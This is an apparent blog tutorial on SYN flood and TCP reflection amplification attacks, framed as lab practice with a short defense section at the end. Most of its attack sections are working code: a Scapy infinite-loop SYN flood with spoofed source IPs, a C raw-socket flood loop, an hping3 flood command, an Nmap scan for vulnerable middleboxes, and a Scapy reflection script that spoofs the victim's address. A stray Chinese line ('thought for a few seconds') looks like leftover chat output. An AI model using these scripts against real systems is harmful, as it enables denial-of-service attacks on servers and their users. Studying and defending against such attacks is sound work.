SYN Flood attack and defense practice and TCP reflection amplification attack

May 02, 202531 mins read

In-depth understanding of the principles and types of SYN Flood attack and its harm to the server, master a variety of defense measures, such as SYN Cookies, traffic restrictions, load balancing, etc., to help enterprises build a solid defense system to effectively resist DDoS attacks and ensure network security.

f-b2d1-76ae4c9485cb_conew1
 

The TCP protocol, as the core foundation of network communication, is designed for reliability to safeguard communication while also becoming a breakthrough for network attacks due to its protocol characteristics. Taking SYN Flood attack and TCP reflection amplification attack as an example, the attacker utilizes the semi-open state of three handshakes and the defects of intermediate device protocols to exhaust the target resources or trigger the traffic flood by forging requests, leading to service paralysis. This paper reveals the key role of TCP protocol in network attack and defense and the way to deal with it by disassembling the principle of SYN Flood attack and TCP reflection amplification attack, the attack process (e.g., Python/C script to construct the attack packet, Nmap vulnerability scanning), and the defense strategy landing (SYN Cookie, Traffic Cleaning).

SYN FLOOD ATTACK   
// PRINCIPLE SYN Flood attack utilizes the flaw of TCP three times handshake, the attacker sends a large number of SYN requests to the target server (first handshake) by forging the source IP address or port. The server responds to the SYN-ACK and enters the half-open connection (SYN-RECV) state, waiting for the client's ACK confirmation (third handshake). Since the attacker does not respond to the ACK, the server needs to maintain the half-open connection queue and retransmit the SYN-ACK packet, which ultimately exhausts the resources (CPU, memory, queue capacity), resulting in the normal user being unable to establish a connection. // Critical Vulnerabilities Half-open connection queue limit: Linux default tcp_max_syn_backlog is 128-256, an attacker can exhaust the queue by sending 200+ forged SYN packets per second. Resource Allocation Mechanism: Traditional TCP stack allocates TCBs (Transmission Control Blocks) as soon as it receives a SYN packet, and each TCB occupies 280-1300 bytes of memory, exacerbating resource consumption.

Test environment setup  
▶ Network topology attack machine: Kali Linux (install Scapy, hping3).  
Target machine: CentOS/Ubuntu server (turn off SYN cookies: sysctl -w net.ipv4.tcp_syncookies=0). Intermediate device: analog firewall (e.g. pfSense) or router (Cisco/Huawei ENSP device).  
▶ Tools to choose Scapy: flexible construction of forged SYN packets, support for dynamic source IP/port generation. hping3: high-performance packet-sending tool, suitable for high-traffic attack simulation (e.g., hping3 --S --flood -p 80 target IP). Wireshark/tcpdump: capture packets to analyze the characteristics of the attack traffic.  
 

Attack Process Translation


Targeted Attack

from scapy.all import *
import random

target_ip = "192.168.1.100"   # Victim IP address

while True:
    # Spoof a random source IP
    src_ip = f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
    # Choose a random high‐numbered source port
    src_port = random.randint(1024, 65535)
    # Build a SYN packet toward TCP port 80 on the target
    packet = IP(src=src_ip, dst=target_ip) / TCP(sport=src_port, dport=80, flags="S")
    # Send the packet without printing verbose output
    send(packet, verbose=0)

Effect Verification

  1. On the victim machine, run:

    netstat -antp | grep SYN_RECV
    

    Observe that the number of half-open (SYN_RECV) connections spikes dramatically.

  2. Use:

    ss -s
    

    to view summary statistics; you’ll see the SYN-RECV count rising and the backlog queue filling up (default size 128–256).


Enhanced Attack with Raw Sockets
Bypassing the OS protocol stack with raw sockets significantly increases packet‐send rate. Example C code snippet for forging and dispatching SYN packets:

#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <unistd.h>

// Assume raw_sock is already created with socket(AF_INET, SOCK_RAW, IPPROTO_TCP)
// and syn_packet contains a properly constructed IP+TCP SYN packet
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_port   = htons(80);
inet_pton(AF_INET, "192.168.1.100", &dest.sin_addr);

while (1) {
    sendto(raw_sock,
           syn_packet,
           packet_len,
           0,
           (struct sockaddr *)&dest,
           sizeof(dest));
}

Performance Comparison

  • C Raw-Socket Tool: ~100,000 packets/second
  • Python Scapy Script: ~10,000 packets/second

The C‐based sender can overwhelm the victim in an instant, far outpacing the Python version.


Advanced Amplification Scenario

  1. IP Spoofing to Intermediate Devices: Forge the victim’s IP as the source and send DNS or other protocol requests to middleboxes (e.g., firewalls, open resolvers).
  2. Large-Payload Replies: Trigger responses of 500 KB–1 MB per request (e.g., through DNS amplification), achieving up to 1,000× amplification.
  3. Indirect Attack: The middlebox’s protocol vulnerabilities are exploited to generate massive reflected traffic toward the victim, multiplying the attack’s potency.

已思考若干秒

TCP Reflection Amplification Attack

Principle
The attacker exploits a flaw in the TCP protocol implementation of an intermediary device (such as a firewall or compliance inspection appliance). By spoofing the victim’s IP address, the attacker sends malicious domain-name requests to the intermediary. The device mistakenly assumes the TCP connection is fully established based on one‐way traffic, and immediately returns a large “blocking page” (for example, a page that blocks porn or gambling sites). This flood of large responses overwhelms the victim server.

  • Core Vulnerability: The intermediary device does not strictly verify the three‐way TCP handshake; it only monitors incoming traffic and deems the session established on a single SYN or data packet, triggering the blocking page.
  • Amplification Mechanism: The size of the blocking page (500 KB–1 MB) is vastly larger than the original request (tens of bytes), yielding an amplification factor of 5× up to 50,000×.

Test Environment Setup

  • Attacker Machine: Kali Linux with Scapy and Nmap installed.
  • Intermediary Simulation: pfSense firewall configured for one‐way (inbound only) traffic inspection, with domain‐filtering rules to block pornographic or gambling domains.
  • Victim Server: Cloud VM (e.g., AWS EC2) running traffic‐monitoring tools such as Wireshark and iftop.
  • IP Spoofing Tool: Either set up iptables NAT rules to rewrite source IPs, or dynamically generate spoofed source IPs via Scapy.

Attack Process

1. Discovering Vulnerable Intermediaries

Use Nmap to scan the network range for devices exhibiting one‐way inspection behavior:

nmap -sS -p 80,443 --script=http-title <target-IP-range>  

Filter results for HTTP titles containing “Blocking Page” or similar keywords, and note the IPs and ports of devices that return large intercept pages.

2. Crafting Malicious Packets

  • Flags: Combine SYN;PUSH;ACK (S, P, and A) to fake a one‐way “completed” handshake, bypassing two‐way verification.
  • Payload: Embed an unregistered or forbidden domain in the HTTP Host header (e.g., a porn site) to trigger the intermediary’s blocking logic.
from scapy.all import *

target_ip = "INTERMEDIARY_IP"
victim_ip = "VICTIM_IP"
payload = (
    "GET / HTTP/1.1\r\n"
    "Host: porn.example.com\r\n"
    "\r\n"
)

packet = (
    IP(src=victim_ip, dst=target_ip) /
    TCP(sport=RandShort(), dport=80, flags="SAP") /
    payload
)

# Send in a tight loop at high rate
send(packet, loop=1, inter=0.001)

3. Launching the Attack and Monitoring Traffic

  • Attack Rate: Typically 1,000+ requests per second, depending on the intermediary’s processing capacity.
  • Victim Monitoring:
    • Capture inbound traffic on the victim with tcpdump:

      tcpdump -i eth0
      
    • Measure bandwidth and connection stats with iftop:

      iftop -i eth0
      

4. Verifying Amplification

Analyze the captured packets in Wireshark to:

  • Confirm the proportion of blocking‐page responses.
  • Calculate the measured amplification factor (total response bytes versus request bytes).

Defense Strategies

  1. Intermediary Device Hardening:
    • Enforce full three‐way handshake validation before serving any blocking or intercept page.
    • Only trigger filtering rules on connections where both SYN and ACK have been observed.
  2. Traffic Scrubbing:
    • Deploy cloud‐based DDoS protection services that use ML to fingerprint and filter out abnormal TCP responses (e.g., large one‐way payloads).
  3. Network Architecture Optimization:
    • Eliminate routing loops or TTL‐reset scenarios that can be abused for reflection.
    • Rate‐limit requests per source IP on edge routers or firewalls.

Conclusion

SYN Flood and TCP Reflection Amplification attacks expose weaknesses in TCP resource allocation and handshake validation. Experiments show that just 200+ spoofed SYN packets per second can exhaust a server’s backlog queue, while the intermediary‐based reflection can amplify traffic by up to 50,000×. A layered defense—combining handshake‐level hardening (e.g., SYN Cookies), network‐level scrubbing (anti‐DDoS appliances), and robust architecture (load balancing)—is essential. Looking ahead, the adoption of the QUIC protocol and AI‐driven traffic analysis promise smarter, more resilient defenses for TCP ecosystems.

Image NewsLetter
Icon primary
Newsletter

Subscribe our newsletter

By clicking the button, you are agreeing with our Term & Conditions